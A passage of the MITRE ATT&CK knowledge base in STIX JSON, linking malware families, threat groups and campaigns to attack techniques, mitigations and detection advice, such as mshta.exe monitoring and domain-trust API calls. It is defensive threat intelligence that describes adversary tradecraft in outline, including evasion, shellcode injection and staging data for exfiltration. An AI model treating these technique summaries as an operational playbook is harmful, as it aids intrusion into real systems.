2021)","modified":"2022-04-15T16:55:57.037Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--72911fe3-f085-40f7-b4f2-f25a4221fe44","target_ref":"attack-pattern--41868330-6ee2-4d0f-b743-9f2294c3c9b6","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9912d67b-153f-428e-9751-e6c09c8de945","type":"relationship","created":"2020-03-09T13:17:39.397Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee","description":"Nelson, M. (2018, January 29). Reviving DDE: Using OneNote and Excel for Code Execution. Retrieved February 3, 2018.","source_name":"Enigma Reviving DDE Jan 2018"},{"url":"https://gist.github.com/wdormann/732bb88d9b5dd5a66c9f1e1498f31a1b","description":"Dormann, W. (2017, October 20). Disable DDEAUTO for Outlook, Word, OneNote, and Excel versions 2010, 2013, 2016. Retrieved February 3, 2018.","source_name":"GitHub Disable DDEAUTO Oct 2017"}],"modified":"2022-02-22T13:22:30.449Z","description":"Consider disabling embedded files in Office programs, such as OneNote, that do not work with Protected View.(Citation: Enigma Reviving DDE Jan 2018)(Citation: GitHub Disable DDEAUTO Oct 2017)","relationship_type":"mitigates","source_ref":"course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067","target_ref":"attack-pattern--232a7e42-cd6e-4902-8fe9-2960f529dd4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--991ab4f3-57e0-44ea-b5c0-247018e3b184","created":"2022-03-30T14:26:51.844Z","x_mitre_version":"0.1","external_references":[{"source_name":"Microsoft GetAllTrustRelationships","url":"https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectory.domain.getalltrustrelationships?redirectedfrom=MSDN&view=netframework-4.7.2#System_DirectoryServices_ActiveDirectory_Domain_GetAllTrustRelationships","description":"Microsoft. (n.d.). Domain.GetAllTrustRelationships Method. Retrieved February 14, 2019."},{"source_name":"Harmj0y Domain Trusts","url":"https://posts.specterops.io/a-guide-to-attacking-domain-trusts-971e52cb2944","description":"Schroeder, W. (2017, October 30). A Guide to Attacking Domain Trusts. Retrieved February 14, 2019."}],"x_mitre_deprecated":false,"revoked":false,"description":"Monitor for API calls associated with gathering information on domain trust relationships that may be used to identify lateral movement like DSEnumerateDomainTrusts() Win32 API call to spot activity associated with Domain Trust Discovery.(Citation: Harmj0y Domain Trusts) Information may also be acquired through Windows system management tools such as PowerShell. The .NET method GetAllTrustRelationships() can be an indicator of Domain Trust Discovery.(Citation: Microsoft GetAllTrustRelationships)","modified":"2022-04-05T20:03:52.614Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--991c16bd-c17b-479a-8f45-385467323c0a","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT30","description":"FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.","url":"https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"}],"modified":"2020-03-17T00:19:38.034Z","description":"[BACKSPACE](https://attack.mitre.org/software/S0031) allows adversaries to search for files.(Citation: FireEye APT30)","relationship_type":"uses","source_ref":"malware--fb261c56-b80e-43a9-8351-c84081e7213d","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--992be3b6-caea-497f-ae2b-256197433cc8","created":"2023-09-13T19:58:11.078Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Telefonica Snip3 December 2021","description":"Jornet, A. (2021, December 23). Snip3, an investigation into malware. Retrieved September 19, 2023.","url":"https://telefonicatech.com/blog/snip3-investigacion-malware"},{"source_name":"Morphisec Snip3 May 2021","description":"Lorber, N. (2021, May 7). Revealing the Snip3 Crypter, a Highly Evasive RAT Loader. Retrieved September 13, 2023.","url":"https://blog.morphisec.com/revealing-the-snip3-crypter-a-highly-evasive-rat-loader"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-19T16:58:24.286Z","description":"[Snip3](https://attack.mitre.org/software/S1086) can download additional payloads to compromised systems.(Citation: Morphisec Snip3 May 2021)(Citation: Telefonica Snip3 December 2021)","relationship_type":"uses","source_ref":"malware--4327aff5-f194-440c-b499-4d9730cc1eab","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--992c7f74-c6d8-43e9-98e7-5818ca9524e3","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Rancor Unit42 June 2018","description":"Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"}],"modified":"2018-10-17T00:14:20.652Z","description":"[DDKONG](https://attack.mitre.org/software/S0255) lists files on the victim’s machine.(Citation: Rancor Unit42 June 2018)","relationship_type":"uses","source_ref":"malware--d186c1d6-e3ac-4c3d-a534-9ddfeb8c57bb","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--992d6f04-7454-4211-9a44-a5c87fdb7657","type":"relationship","created":"2019-06-28T20:48:52.460Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Gorelik, M.. (2019, June 10). SECURITY ALERT: FIN8 IS BACK IN BUSINESS, TARGETING THE HOSPITALITY INDUSTRY. Retrieved June 13, 2019.","url":"http://blog.morphisec.com/security-alert-fin8-is-back","source_name":"Morphisec ShellTea June 2019"}],"modified":"2020-03-17T14:47:59.945Z","description":"[PUNCHBUGGY](https://attack.mitre.org/software/S0196) has saved information to a random temp file before exfil.(Citation: Morphisec ShellTea June 2019)","relationship_type":"uses","source_ref":"malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--992ffd2b-bac7-418c-a401-b2be739818c9","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 DarkHydrus July 2018","description":"Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/"},{"source_name":"Unit42 DarkHydrus Jan 2019","url":"https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/","description":"Lee, B., Falcone, R. (2019, January 18). DarkHydrus delivers new Trojan that can use Google Drive for C2 communications. Retrieved April 17, 2019."}],"modified":"2019-04-24T23:55:43.387Z","description":"[RogueRobin](https://attack.mitre.org/software/S0270) enumerates running processes to search for Wireshark and Windows Sysinternals suite.(Citation: Unit 42 DarkHydrus July 2018)(Citation: Unit42 DarkHydrus Jan 2019)","relationship_type":"uses","source_ref":"malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9932d0d8-ad06-4a4f-8acf-1502c2b5f009","created":"2020-03-17T23:17:09.427Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Twitter ItsReallyNick APT32 pubprn Masquerade","description":"Carr, N.. (2017, December 26). Nick Carr Status Update APT32 pubprn. Retrieved September 12, 2024.","url":"https://x.com/ItsReallyNick/status/945681177108762624"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:33:26.817Z","description":"[APT32](https://attack.mitre.org/groups/G0050) has moved and renamed pubprn.vbs to a .txt file to avoid detection.(Citation: Twitter ItsReallyNick APT32 pubprn Masquerade)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--99365890-fc6c-46ec-bf1f-66ccbe5d52e7","type":"relationship","created":"2020-06-11T16:18:16.795Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}],"modified":"2020-06-24T01:27:32.651Z","description":"[Avenger](https://attack.mitre.org/software/S0473) has the ability to inject shellcode into svchost.exe.(Citation: Trend Micro Tick November 2019)","relationship_type":"uses","source_ref":"malware--36ede314-7db4-4d09-b53d-81bbfbe5f6f8","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--993c7f96-4711-4b3e-bf93-63d1a5379b92","type":"relationship","created":"2022-03-30T14:26:51.833Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.833Z","description":"Monitor events for changes to account objects and/or permissions on systems and the domain, such as event IDs 4738, 4728 and 4670.","source_ref":"x-mitre-data-component--05d5b5b4-ef93-4807-b05f-33d8c5a35bc5","target_ref":"attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--993e37d1-b81c-47d7-9063-216446271e07","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts","description":"Axel F. (2017, April 27). APT Targets Financial Analysts with CVE-2017-0199. Retrieved February 15, 2018.","source_name":"Proofpoint TA459 April 2017"}],"modified":"2020-03-17T14:59:16.731Z","description":"[TA459](https://attack.mitre.org/groups/G0062) has attempted to get victims to open malicious Microsoft Word attachment sent via spearphishing.(Citation: Proofpoint TA459 April 2017)","relationship_type":"uses","source_ref":"intrusion-set--62a64fd3-aaf7-4d09-a375-d6f8bb118481","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--994462e4-b75a-45b5-9b63-43e449bb1b10","created":"2021-12-27T23:25:08.643Z","x_mitre_version":"1.0","external_references":[{"source_name":"Check Point Warzone Feb 2020","url":"https://research.checkpoint.com/2020/warzone-behind-the-enemy-lines/","description":"Harakhavik, Y. (2020, February 3). Warzone: Behind the enemy lines. Retrieved December 17, 2021."},{"source_name":"Uptycs Confucius APT Jan 2021","url":"https://www.uptycs.com/blog/confucius-apt-deploys-warzone-rat","description":"Uptycs Threat Research Team. (2021, January 12). Confucius APT deploys Warzone RAT. Retrieved December 17, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"(Citation: Check Point Warzone Feb 2020)(Citation: Uptycs Confucius APT Jan 2021)","modified":"2022-06-30T20:15:32.705Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--6eded342-33e5-4451-b6b2-e1c62863129f","target_ref":"malware--fde19a18-e502-467f-be14-58c71b4e7f4b","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--99448697-c14f-4c8f-8fe3-b90b25dbac19","type":"relationship","created":"2022-03-30T14:26:51.857Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.857Z","description":"Look for mshta.exe executing raw or obfuscated script within the command-line. Compare recent invocations of mshta.exe with prior history of known good arguments and executed .hta files to determine anomalous and potentially adversarial activity. Command arguments used before and after the mshta.exe invocation may also be useful in determining the origin and purpose of the .hta file being executed.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--994846d3-7130-4374-bd6e-278ad870fa94","type":"relationship","created":"2020-08-25T20:11:52.947Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NSA/FBI Drovorub August 2020","url":"https://media.defense.gov/2020/Aug/13/2002476465/-1/-1/0/CSA_DROVORUB_RUSSIAN_GRU_MALWARE_AUG_2020.PDF","description":"NSA/FBI. (2020, August). Russian GRU 85th GTsSS Deploys Previously Undisclosed Drovorub Malware. Retrieved August 25, 2020."}],"modified":"2020-08-26T18:38:18.208Z","description":"[Drovorub](https://attack.mitre.org/software/S0502) has de-obsfuscated XOR encrypted payloads in WebSocket messages.(Citation: NSA/FBI Drovorub August 2020)","relationship_type":"uses","source_ref":"malware--99164b38-1775-40bc-b77b-a2373b14540a","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9949853c-ab7e-43c8-bc77-8b9b6bddba50","created":"2024-06-10T19:12:24.008Z","revoked":false,"external_references":[{"source_name":"Lumen KVBotnet 2023","description":"Black Lotus Labs. (2023, December 13). Routers Roasting On An Open Firewall: The KV-Botnet Investigation. Retrieved June 10, 2024.","url":"https://blog.lumen.com/routers-roasting-on-an-open-firewall-the-kv-botnet-investigation/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-10T19:12:24.008Z","description":"[KV Botnet Activity](https://attack.mitre.org/campaigns/C0035) installation steps include first identifying, then stopping, any process containing [kworker\\/0:1], then renaming its initial installation stage to this process name.(Citation: Lumen KVBotnet 2023)","relationship_type":"uses","source_ref":"campaign--0c259854-4044-4f6c-ac49-118d484b3e3b","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--994b4e31-eabb-4aa0-b7c1-e0ade6017009","type":"relationship","created":"2020-10-20T03:33:23.166Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-04-15T03:44:43.983Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--0a241b6c-7bb2-48f9-98f7-128145b4d27f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--99522819-c6ee-44c1-ac42-5984ae439991","type":"relationship","created":"2021-03-31T18:59:31.212Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"IBM MegaCortex","url":"https://securityintelligence.com/posts/from-mega-to-giga-cross-version-comparison-of-top-megacortex-modifications/","description":"Del Fierro, C. Kessem, L.. (2020, January 8). From Mega to Giga: Cross-Version Comparison of Top MegaCortex Modifications. Retrieved February 15, 2021."}],"modified":"2021-03-31T18:59:31.212Z","description":"[MegaCortex](https://attack.mitre.org/software/S0576) has used .cmd scripts on the victim's system.(Citation: IBM MegaCortex) ","relationship_type":"uses","source_ref":"malware--909617c3-6d87-4330-8f32-bd3af38c3b92","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--995637ef-4066-4254-87bf-a03d8e53de9c","type":"relationship","created":"2022-03-30T14:26:51.860Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.860Z","description":"Monitor for newly constructed network connections that are sent or received by untrusted hosts. ","source_ref":"x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba","target_ref":"attack-pattern--9c99724c-a483-4d60-ad9d-7f004e42e8e8","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--995aaffc-947a-4674-825f-9b6d53b7aefc","created":"2023-04-04T22:36:43.202Z","revoked":false,"external_references":[{"source_name":"SentinelLabs Metador Technical Appendix Sept 2022","description":"SentinelLabs. (2022, September 22). Metador Technical Appendix. Retrieved April 4, 2023.","url":"https://docs.google.com/document/d/1e9ZTW9b71YwFWS_18ZwDAxa-cYbV8q1wUefmKZLYVsA/edit#heading=h.lmnbtht1ikzm"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-04T22:36:43.202Z","description":"[Mafalda](https://attack.mitre.org/software/S1060) can download additional files onto the compromised host.(Citation: SentinelLabs Metador Technical Appendix Sept 2022)","relationship_type":"uses","source_ref":"malware--3be1fb7a-0f7e-415e-8e3a-74a80d596e68","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--99651be9-3231-4d78-b36d-5330a3b418fc","type":"relationship","created":"2020-02-12T15:02:01.374Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-06-23T18:58:33.148Z","description":"Enable Windows firewall, which prevents DCOM instantiation by default.","relationship_type":"mitigates","source_ref":"course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c","target_ref":"attack-pattern--68a0c5ed-bee2-4513-830d-5b0d650139bd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--99662840-c630-4858-8d44-331d0b31fbc1","type":"relationship","created":"2019-12-19T21:05:38.415Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-09-17T19:47:14.530Z","description":"Ensure proper permissions are in place to help prevent adversary access to privileged accounts necessary to install a bootkit.","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--1b7b1806-7746-41a1-a35d-e48dae25ddba","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--9966a850-54b2-41f5-83de-51c066085d72","created":"2020-07-15T19:28:00.688Z","x_mitre_version":"1.0","external_references":[{"source_name":"Gh0stRAT ATT March 2019","url":"https://cybersecurity.att.com/blogs/labs-research/the-odd-case-of-a-gh0strat-variant","description":"Quinn, J. (2019, March 25). The odd case of a Gh0stRAT variant. Retrieved July 15, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"[gh0st RAT](https://attack.mitre.org/software/S0032) has used the `InterlockedExchange`, `SeShutdownPrivilege`, and `ExitWindowsEx` Windows API functions.(Citation: Gh0stRAT ATT March 2019)","modified":"2022-04-15T15:11:48.534Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--996765a6-6c8a-429d-baa5-32d423fb4207","type":"relationship","created":"2021-03-09T16:09:27.405Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Exchange Zero Days March 2021","url":"https://www.fireeye.com/blog/threat-research/2021/03/detection-response-to-exploitation-of-microsoft-exchange-zero-day-vulnerabilities.html","description":"Bromiley, M. et al. (2021, March 4). Detection and Response to Exploitation of Microsoft Exchange Zero-Day Vulnerabilities. Retrieved March 9, 2021."}],"modified":"2021-03-09T16:09:27.405Z","description":"[HAFNIUM](https://attack.mitre.org/groups/G0125) has used the NT AUTHORITY\\SYSTEM account to create files on Exchange servers.(Citation: FireEye Exchange Zero Days March 2021)","relationship_type":"uses","source_ref":"intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87","target_ref":"attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--99686b3a-1ca4-4b36-ad4d-a8876d8c65ba","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east","description":"Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.","source_name":"FireEye APT34 Webinar Dec 2017"}],"modified":"2020-03-21T00:14:24.136Z","description":"[OilRig](https://attack.mitre.org/groups/G0049) used the Plink utility and other tools to create tunnels to C2 servers.(Citation: FireEye APT34 Webinar Dec 2017)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9968edfb-8501-4954-847d-8f873c78e023","type":"relationship","created":"2020-07-15T20:10:03.890Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Juniper IcedID June 2020","url":"https://blogs.juniper.net/en-us/threat-research/covid-19-and-fmla-campaigns-used-to-install-new-icedid-banking-malware","description":"Kimayong, P. (2020, June 18). COVID-19 and FMLA Campaigns used to install new IcedID banking malware. Retrieved July 14, 2020."}],"modified":"2020-07-15T20:10:03.890Z","description":"[IcedID](https://attack.mitre.org/software/S0483) has used obfuscated VBA string expressions.(Citation: Juniper IcedID June 2020)","relationship_type":"uses","source_ref":"malware--5147ef15-1cae-4707-8ea1-bee8d98b7f1d","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--996ad086-aad7-40f2-b711-559ea97295c9","created":"2024-09-16T09:20:22.881Z","revoked":false,"external_references":[{"source_name":"Google Cloud APT41 2024","description":"Mike Stokkel et al. (2024, July 18). APT41 Has Arisen From the DUST. Retrieved September 16, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T09:20:22.881Z","description":"[APT41 DUST](https://attack.mitre.org/campaigns/C0040) involved exporting data from Oracle databases to local CSV files prior to exfiltration.(Citation: Google Cloud APT41 2024)","relationship_type":"uses","source_ref":"campaign--add4d9de-1256-4166-83b8-57087288dced","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--996defcb-8a62-4271-9d01-93d66525b159","type":"relationship","created":"2021-04-09T16:03:47.435Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"BlackBerry Bahamut","url":"https://www.blackberry.com/us/en/pdfviewer?file=/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-spark-bahamut.pdf","description":"The BlackBerry Research & Intelligence Team. (2020, October). BAHAMUT: Hack-for-Hire Masters of Phishing, Fake News, and Fake Apps. Retrieved February 8, 2021."}],"modified":"2021-05-24T13:16:56.577Z","description":"[Windshift](https://attack.mitre.org/groups/G0112) has used string encoding with floating point calculations.(Citation: BlackBerry 